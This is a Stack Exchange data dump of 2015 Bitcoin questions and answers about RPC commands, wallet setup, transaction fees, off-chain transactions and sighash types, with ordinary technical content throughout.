  <row Id="36701" PostTypeId="2" ParentId="36700" CreationDate="2015-04-01T05:57:21.280" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So how can they be involved in securing the chain?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They cannot. Everyone wants to earn funds, not to help others to earn.&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Tragedy_of_the_commons&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Tragedy_of_the_commons&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="18196" LastEditDate="2015-04-01T12:06:21.303" LastActivityDate="2015-04-01T12:06:21.303" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36702" PostTypeId="1" CreationDate="2015-04-01T06:05:18.130" Score="2" ViewCount="543" Body="&lt;p&gt;I am quite confused regarding working of hybrid e-wallets..If private keys are stored on user's browser, then what is the purpose of involving a hosted web service... Can someone please answer my query ? &lt;/p&gt;&#xA;" OwnerUserId="23319" LastActivityDate="2016-05-26T11:20:27.057" Title="Hybrid e-wallets" Tags="|wallet|e-wallet|hybrid|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36703" PostTypeId="1" CreationDate="2015-04-01T06:37:57.763" Score="2" ViewCount="595" Body="&lt;p&gt;Assuming that there is a magical &lt;code&gt;mineblocks&lt;/code&gt; RPC command that can mine X blocks on demand, what is the complete set of command line commands to start a client, mine my coins to a specific address, see the mined blocks, get the reward and send them to an address XXX?&lt;/p&gt;&#xA;" OwnerUserId="24886" LastActivityDate="2019-05-08T06:48:07.043" Title="From mining to sending via RPC" Tags="|json-rpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36704" PostTypeId="2" ParentId="36703" CreationDate="2015-04-01T06:53:15.943" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Put your client into regtest mode. This allows you to mine an arbitrary amount of blocks very quickly. Add this to your bitcoin.conf&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;regtest=1&#xA;daemon=1&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Generate the blocks. Run &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli setgenerate true &amp;lt;number of blocks&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where X is the number of block you want. You'll want at least 101 blocks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;See the mined blocks. Run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli getblockhash &amp;lt;index&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to get the hash of block number &lt;code&gt;&amp;lt;index&amp;gt;&lt;/code&gt;. Then take that hash and run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli getblock &amp;lt;hash&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat Step 3 for each block you want.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Send the Bitcoins to a new address. Run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli getbalance&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to find out your balance. Run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli sendtoaddress &amp;lt;address&amp;gt; &amp;lt;amount&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you don't need to see the contents of the block, you can skip steps 3 and 4.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-01T06:53:15.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36705" PostTypeId="1" AcceptedAnswerId="36706" CreationDate="2015-04-01T10:46:32.430" Score="1" ViewCount="1158" Body="&lt;p&gt;I installed Bitcoin core recently but its not synchronizing right now. I sent one address from file menu like this below to one of my friend and he is send me some Bitcoin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;13BuBwcQM2WwedYzqkccovjYYPKBAc6RWE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that I haven't enough storage in my PC to download all of the data so I can't synchronize my bit-coin core and it shows 0.00 balance. I have another Bitcoin wallet in &lt;a href=&quot;https://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info&lt;/a&gt; site &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I can send my Bitcoin to my new wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I uninstalled my Bitcoin core wallet, will my bit coin be lost?&lt;/p&gt;&#xA;" OwnerUserId="24898" LastEditorUserId="26331" LastEditDate="2015-08-08T09:10:26.360" LastActivityDate="2015-12-22T07:45:53.563" Title="transfer Bitcoin without synchronizing Bitcoin core" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36706" PostTypeId="2" ParentId="36705" CreationDate="2015-04-01T10:58:03.440" Score="0" Body="&lt;p&gt;The good (or bad) news is that &lt;a href=&quot;https://www.blocktrail.com/BTC/address/13BuBwcQM2WwedYzqkccovjYYPKBAc6RWE&quot; rel=&quot;nofollow&quot;&gt;your friends hasn't sent you any bitcoins to address &lt;code&gt;13BuBwcQM2WwedYzqkccovjYYPKBAc6RWE&lt;/code&gt; yet&lt;/a&gt; so ask him not to do so until you configure your account to blockchain.info or another online wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before you proceed with deleting your local wallet, keep the &lt;code&gt;wallet.dat&lt;/code&gt; file so you will be able to restore it later on if needed.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorDisplayName="user11221" LastEditDate="2015-04-01T12:19:05.787" LastActivityDate="2015-04-01T12:19:05.787" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36707" PostTypeId="2" ParentId="36702" CreationDate="2015-04-01T11:07:10.963" Score="0" Body="&lt;p&gt;The hosted web service provides a means of accounting over your transactions or can even provide one or more private keys in an m-of-n multisig schema (say 2-of-3) so that neither the web service provider nor you have full ownership over your funds, so if either gets compromised your funds will not be stolen.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorDisplayName="user11221" LastEditDate="2015-04-01T11:14:12.127" LastActivityDate="2015-04-01T11:14:12.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36708" PostTypeId="1" CreationDate="2015-04-01T14:09:45.833" Score="1" ViewCount="760" Body="&lt;p&gt;I am new to Bitcoin, can anyone tell me how I can access to my RPC console and type in commands. I am using Bitcoin Core on my PC. If there is a tutorial for beginners to access to RPC please notify me.&lt;/p&gt;&#xA;" OwnerUserId="24898" LastEditorUserId="18227" LastEditDate="2015-04-01T14:28:43.947" LastActivityDate="2015-04-02T04:12:54.640" Title="Access to RPC console" Tags="|json-rpc|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36709" PostTypeId="2" ParentId="36708" CreationDate="2015-04-01T14:46:20.930" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;RPC @ Bitcoin Wiki&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;*Mastering Bitcoin&quot; (A. Antonopoulos)&lt;/li&gt;&#xA;&lt;li&gt;Open &lt;code&gt;console &amp;gt;&lt;/code&gt;, type &lt;code&gt;help&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You'll need a &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin%23Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow&quot;&gt;Bitcoin.conf&lt;/a&gt; file setup, which lives in your home directory (what OS?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;Full instruction guide &lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-04-01T14:46:20.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36710" PostTypeId="1" CreationDate="2015-04-01T15:09:16.960" Score="2" ViewCount="187" Body="&lt;p&gt;In step 5 of the procedure described in &lt;a href=&quot;https://en.bitcoin.it/wiki/Smart_Property#Theory&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Smart_Property#Theory&lt;/a&gt;, the buyer creates a partially signed transaction. Will the seller be able to change an output prior to signing and broadcasting - and thus returning the token to an output he may redeem himself?&lt;/p&gt;&#xA;" OwnerUserId="24902" LastActivityDate="2015-04-01T16:54:34.923" Title="Is it possible to change an output of a partially signed transaction?" Tags="|transactions|raw-transaction|smartcontracts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36711" PostTypeId="2" ParentId="36710" CreationDate="2015-04-01T16:54:34.923" Score="2" Body="&lt;p&gt;In one word: &lt;strong&gt;no&lt;/strong&gt;. Changing tx output after signing makes existing signature invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( There are some special cases, like signature hash type SIGHASH_SINGLE or SIGHASH_NONE, but we assume that the buyer uses correct signing SIGHASH_ALL )&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-04-01T16:54:34.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36712" PostTypeId="1" AcceptedAnswerId="36713" CreationDate="2015-04-01T17:37:27.653" Score="1" ViewCount="1611" Body="&lt;p&gt;Someone just asked me to open the RPC console, as part of debugging something else. How do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Bitcoin-Qt.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-01T17:37:27.653" Title="How do I open my RPC console?" Tags="|bitcoin-core|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36713" PostTypeId="2" ParentId="36712" CreationDate="2015-04-01T17:37:27.653" Score="1" Body="&lt;p&gt;Click Help &gt; Debug window, then click on the Console tab.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-01T17:37:27.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36714" PostTypeId="2" ParentId="36708" CreationDate="2015-04-01T18:05:13.293" Score="2" Body="&lt;p&gt;Here is a Step-by-Step tutorial&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;li&gt; Set up bitcoin.conf.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=user &amp;lt;br&amp;gt;&#xA;rpcpassword=password &amp;lt;br&amp;gt;&#xA;rpcallowip=172.28.128.1 # The ip of your machine. Use 127.0.0.1 if you use local machine&amp;lt;br&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/li&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;li&gt;&#xA;Start a bitcoin client by&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -server=1 -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/li&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;li&gt; Download &lt;a href=&quot;https://github.com/jgarzik/python-bitcoinrpc&quot; rel=&quot;nofollow&quot;&gt;this library&lt;/a&gt; and install it by running &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python setup.py install &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;Create a python script to connect to RPC server.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from jsonrpc import ServiceProxy&#xA;access = ServiceProxy(&quot;http://user:password@172.28.128.4:8332&quot;)&#xA;print(access.getbalance())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/li&gt;&lt;/p&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-04-01T18:05:13.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36715" PostTypeId="1" CreationDate="2015-04-01T18:05:47.870" Score="1" ViewCount="395" Body="&lt;p&gt;I know a Chinese citizens have a limit of 50 thousand dollars they can send abroad, yearly. I was wondering if it is possible to buy bitcoins in an exchange like btcchina and then sell them back in another exchange like bitstamp to receive cash in an European bank account. If it is possible, is there a limit ? Any regulation problem ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if it has been answered already, but I couldn't find this specific thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="24904" LastActivityDate="2015-04-02T03:58:04.390" Title="Buying bitcoins with chinese RMB" Tags="|exchanges|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36716" PostTypeId="1" AcceptedAnswerId="36719" CreationDate="2015-04-01T18:09:04.577" Score="6" ViewCount="158" Body="&lt;p&gt;How do I make sure bitcoind's RPC call sendtoaddress adds miner fees to transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried adding to our bitcoin.conf file:&#xA;mintxfee=0.0001&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But some of the transactions still won't get any miner fee attached, causing payments to take hours or days to get confirmed.&lt;/p&gt;&#xA;" OwnerUserId="24905" LastActivityDate="2015-04-01T20:24:50.523" Title="Bitcoind doesn't add miner fee" Tags="|bitcoind|transaction-fees|confirmations|sending|bitcoin.conf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36717" PostTypeId="1" AcceptedAnswerId="36720" CreationDate="2015-04-01T18:18:20.660" Score="7" ViewCount="261" Body="&lt;p&gt;I'm trying to get a grasp on off-chain transactions, as they seem more common than I initially realized but they are not the way that I originally perceived bitcoin being used as an outsider looking in. What technical advantages exist for off-chain transactions?&lt;/p&gt;&#xA;" OwnerUserId="24906" LastActivityDate="2015-04-06T04:36:34.927" Title="What technical reasons exist for off-chain transactions?" Tags="|transactions|off-chain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36719" PostTypeId="2" ParentId="36716" CreationDate="2015-04-01T20:24:50.523" Score="3" Body="&lt;p&gt;The correct configuration parameter is: &lt;code&gt;paytxfee=&amp;lt;amount&amp;gt;&lt;/code&gt;, where &lt;code&gt;&amp;lt;amount&amp;gt;&lt;/code&gt;is the amount (fee) per kB to add to your outgoing txs&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2015-04-01T20:24:50.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36720" PostTypeId="2" ParentId="36717" CreationDate="2015-04-01T22:08:09.387" Score="7" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Speed&lt;/p&gt;&#xA;&lt;p&gt;An off-chain transaction can complete instantly, without waiting for confirmation.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Naming&lt;/p&gt;&#xA;&lt;p&gt;With off-chain transactions, you can send Bitcoins to another user by referencing their username, rather than typing in an address.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Possibly lower transaction fees, possibly fewer on-chain transactions&lt;/p&gt;&#xA;&lt;p&gt;Depending on how many transactions happen off-chain, it can save space on the blockchain. However, if there's only one off-chain transaction, it will end up consuming more space. (The coins will travel from &lt;code&gt;User A -&amp;gt; Off-chain transaction provider -&amp;gt; User B&lt;/code&gt; instead of &lt;code&gt;User A -&amp;gt; User B&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(Related to #3) It makes it feasible to have lots of very small transactions. For example, you might use off-chain transactions to pay someone a microfee for every minute that you use their wifi.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-04-04T19:32:47.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36721" PostTypeId="2" ParentId="36677" CreationDate="2015-04-01T22:18:59.090" Score="2" Body="&lt;p&gt;On Bitcoin-QT can use whatever change address you want. Go to Settings-&gt;Options-&gt;Wallet and check &quot;Enable Coin Control Features&quot;. Now when you go to send you can check &quot;custom change address&quot; and enter whatever you want, even if you don't have the privkeys.&lt;/p&gt;&#xA;" OwnerUserId="24910" LastActivityDate="2015-04-01T22:18:59.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36724" PostTypeId="2" ParentId="36708" CreationDate="2015-04-02T04:12:54.640" Score="1" Body="&lt;p&gt;If you are using Bitcoin-QT then simply go to Help-&gt;Debug Window-&gt;Console. This gives you full RPC capability inside of the wallet. If you want to work with the data you output, then you will need to use an RPC wrapper of your choice.&lt;/p&gt;&#xA;" OwnerUserId="24910" LastActivityDate="2015-04-02T04:12:54.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36725" PostTypeId="1" AcceptedAnswerId="36747" CreationDate="2015-04-02T05:23:18.080" Score="1" ViewCount="1140" Body="&lt;p&gt;Do all pools have the same average BTC/hashes/second rates (for individual members of the pool)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;a href=&quot;http://www.vnbitcoin.org/bitcoincalculator.php&quot; rel=&quot;nofollow&quot;&gt;this profitability calculator&lt;/a&gt; says 4 Th/s hash rates will produce 0.04 BTC per day, yet I've seen pools awarding 0.1 BTC every few days for 4 Th/s mining rates.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="5406" LastEditDate="2016-03-31T17:08:51.303" LastActivityDate="2016-03-31T17:08:51.303" Title="BTC/hashes/second rates for various pools" Tags="|mining-pools|mining-profitability|pool-payout-methods|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36726" PostTypeId="1" AcceptedAnswerId="36727" CreationDate="2015-04-02T05:33:13.303" Score="3" ViewCount="471" Body="&lt;p&gt;There have been a few new sighash types proposed.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=8zVzw912wPo&amp;amp;t=20m15s&quot; rel=&quot;nofollow noreferrer&quot;&gt;SIGHASH_NORMALIZED&lt;/a&gt; : Use a 'normalized' TXID in the inputs when serializing for signing. This normalized transaction id is calculated by removing the scriptSigs of the transaction that you are spending from before serializing.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=8zVzw912wPo&amp;amp;t=20m15s&quot; rel=&quot;nofollow noreferrer&quot;&gt;SIGHASH_NOINPUT&lt;/a&gt; : Just remove TXIDs from the inputs entirely. Useful for thwarting malleability, but allows funds sent to that same scriptPubKey again to be stolen, so you would only sign an input with this if you are sure you are never going to use that scriptPubKey again.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=181734.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;SIGHASH_WITHINPUTVALUE&lt;/a&gt; : Include the input's value when replacing the scriptSig with the previous scriptPubKey, so signers can prove knowledge of exactly what they are giving away (useful for hardware wallets). &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;AFAIK, however, if an unidentified sighash flag is used, then the standard client treats it like SIGHASH_ALL (&lt;a href=&quot;https://en.bitcoin.it/wiki/OP_CHECKSIG#Hashtype_SIGHASH_ALL_.28default.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;). Isn't introducing a new sighash flag a hard fork, then? The sources linked to above give conflicting statements on whether new sighash flags require a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9173/what-is-a-hard-fork&quot;&gt;hard&lt;/a&gt; or &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/30817/what-is-a-soft-fork&quot;&gt;soft&lt;/a&gt; fork. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="121614" LastEditDate="2023-07-26T21:11:37.107" LastActivityDate="2023-07-26T21:11:37.107" Title="Do new SIGHASH types need a hard fork or a soft fork?" Tags="|signature|blockchain-fork|sighash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36727" PostTypeId="2" ParentId="36726" CreationDate="2015-04-02T06:11:45.523" Score="2" Body="&lt;p&gt;It is in fact a hard fork, if it is done natively. However, it can be done through a soft fork if the sighash types are only included in serialized redeemScripts for P3SH (P2SH but with OP_EQUALVERIFY instead of OP_EQUAL), or via re-purposing one of the OP_NOPs to be a new op with similar functionality to OP_CHECKSIGVERIFY.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://lightning.network/lightning-network-paper-DRAFT-0.5.pdf&quot; rel=&quot;nofollow&quot;&gt;http://lightning.network/lightning-network-paper-DRAFT-0.5.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To mitigate malleability, it requires changing which contents are signed by the participants. This is achieved by creating new Sighash types. In order to accommodate this new behavior, a new P2SH type or new OP_CHECKSIG is necessary to make it a soft-fork rather than a hard-fork.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-04-02T06:11:45.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36731" PostTypeId="1" CreationDate="2015-04-02T15:20:42.093" Score="4" ViewCount="3125" Body="&lt;p&gt;Let me write an example. A hustler give some people his bitcoin address and these people transfer some bitcoins to his wallet. According to the term, which says that bitcoin transaction is traceable so my question is that why the hustler uses this method? He knows that he can be tracked!&lt;/p&gt;&#xA;" OwnerUserId="24919" LastActivityDate="2015-04-03T10:22:45.997" Title="If Bitcoin is traceable, how bitcoin scams are exist?" Tags="|transactions|fraud|traceability|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36732" PostTypeId="2" ParentId="36731" CreationDate="2015-04-02T16:13:25.387" Score="2" Body="&lt;p&gt;Bitcoins can be exchanged to dollars in questionable exchanges like BTC-E or LocalBitcoin. These exchanges are not interested in the source of Bitcoin, do not co-operate with authors (police) and thus scammers are able to do cash out stolen Bitcoins. You can only see the Bitcoins go into the exchange, but the exchange won't give you, or the authors, the details who is the user who is cashing out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, when more legit exchanges try to make sure they follow Know Your Customer rules and demand the users to show the proof the Bitcoins they are selling are not stolen, there is &lt;a href=&quot;http://www.coindesk.com/coinbase-seeks-details-us-bitcoin-mining/&quot; rel=&quot;nofollow&quot;&gt;a backslash from Bitcoin community&lt;/a&gt;. Some libetarian parts of Bitcoin community do not wish to destroy Bitcoin fungibility, e.g. making sure that criminally obtained Bitcoins cannot be discriminated from legally obtained Bitcoins. This is because much of Bitcoin transactions are fuelled by dark markets which are outright illegal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/2zrdxz/withdrawals_halted_as_stolen_evolution_coins_make/&quot; rel=&quot;nofollow&quot;&gt;Please see recent discussion with Evolution exit scam&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="5464" LastEditDate="2015-04-02T17:03:29.453" LastActivityDate="2015-04-02T17:03:29.453" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36733" PostTypeId="1" AcceptedAnswerId="36734" CreationDate="2015-04-02T16:15:19.890" Score="0" ViewCount="1040" Body="&lt;ol&gt;&#xA;&lt;li&gt;Does sendtoaddress automatically collect as many unspent outputs as needed?&lt;/li&gt;&#xA;&lt;li&gt;Is there any way to specify the from address?&lt;/li&gt;&#xA;&lt;li&gt;How is the fee computed? I just tested with two transactions:&#xA;a) 0.0001 xbt, fee 0.00017519&#xA;b) 0.001 xbt, fee 0.00017441.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1799" LastActivityDate="2015-04-03T15:47:56.217" Title="sendtoaddress questions" Tags="|bitcoin-core|sendtoaddress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36734" PostTypeId="2" ParentId="36733" CreationDate="2015-04-02T17:45:25.740" Score="3" Body="&lt;p&gt;1) Yes. See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1077/what-is-the-coin-selection-algorithm&quot;&gt;this question&lt;/a&gt; for more detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The from address will be an array of address that hold the unspent outputs. If you want to select which outputs are sent and from what address, you can use coin control in the QT wallet, or you can create a raw transaction using &lt;code&gt;createrawtransaction&lt;/code&gt;, &lt;code&gt;signrawtransaction&lt;/code&gt;, and &lt;code&gt;sendrawtransaction&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Fee is computed by the number of bytes your transaction has, not necessarily the amount of the bitcoins you send. If you have a lot of small unspent outputs that go into your transaction it will make the transaction larger and thus a larger fee. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code for the fee calculations &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.9/src/main.cpp#L53&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/blob/0.9/src/main.cpp#L53&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.9/src/main.cpp#L811&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/blob/0.9/src/main.cpp#L811&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As of right now it looks like the tx fee per 1,000 bytes is 10,000 satoshis (0.00010000) to create a transaction.&lt;/p&gt;&#xA;" OwnerUserId="24910" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-04-03T15:47:56.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36735" PostTypeId="2" ParentId="36675" CreationDate="2015-04-02T20:21:17.093" Score="2" Body="&lt;p&gt;If every block subsidizes the forger with extra coins (in addition to the fees) then bigger accounts become even bigger by following the compound interest curve. In a currency with selfish forgers most of the coins would be absorbed by very few accounts that would lead to centralization of the currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was predicted (&lt;a href=&quot;https://nxtforum.org/alternate-cryptocurrencies/dgex-assists-in-launch-of-a-new-crypto-fimk/msg58485/#msg58485&quot; rel=&quot;nofollow&quot;&gt;https://nxtforum.org/alternate-cryptocurrencies/dgex-assists-in-launch-of-a-new-crypto-fimk/msg58485/#msg58485&lt;/a&gt;) by me and proved in practice (&lt;a href=&quot;http://forum.fimk.fi/index.php?topic=539.0&quot; rel=&quot;nofollow&quot;&gt;http://forum.fimk.fi/index.php?topic=539.0&lt;/a&gt;) by FIMKRYPTO, which is a clone of Nxt with over-time distribution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding a PoW distribution, back in 2013, when Nxt was launched, PoW couldn't be used as a good distribution method because a CPU-friendly algorithm would give enormous advantage to botnet masters and a GPU-friendly one - to owners of GPU-based mining farms left after Bitcoin rise in 2012.&lt;/p&gt;&#xA;" OwnerUserId="18526" LastActivityDate="2015-04-02T20:21:17.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36736" PostTypeId="2" ParentId="10864" CreationDate="2015-04-02T21:46:05.577" Score="3" Body="&lt;p&gt;The address is invalid because the checksum does not match the provided address. For more information see here: &lt;a href=&quot;https://bitcoin.org/en/developer-reference#address-conversion&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-reference#address-conversion&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24749" LastActivityDate="2015-04-02T21:46:05.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
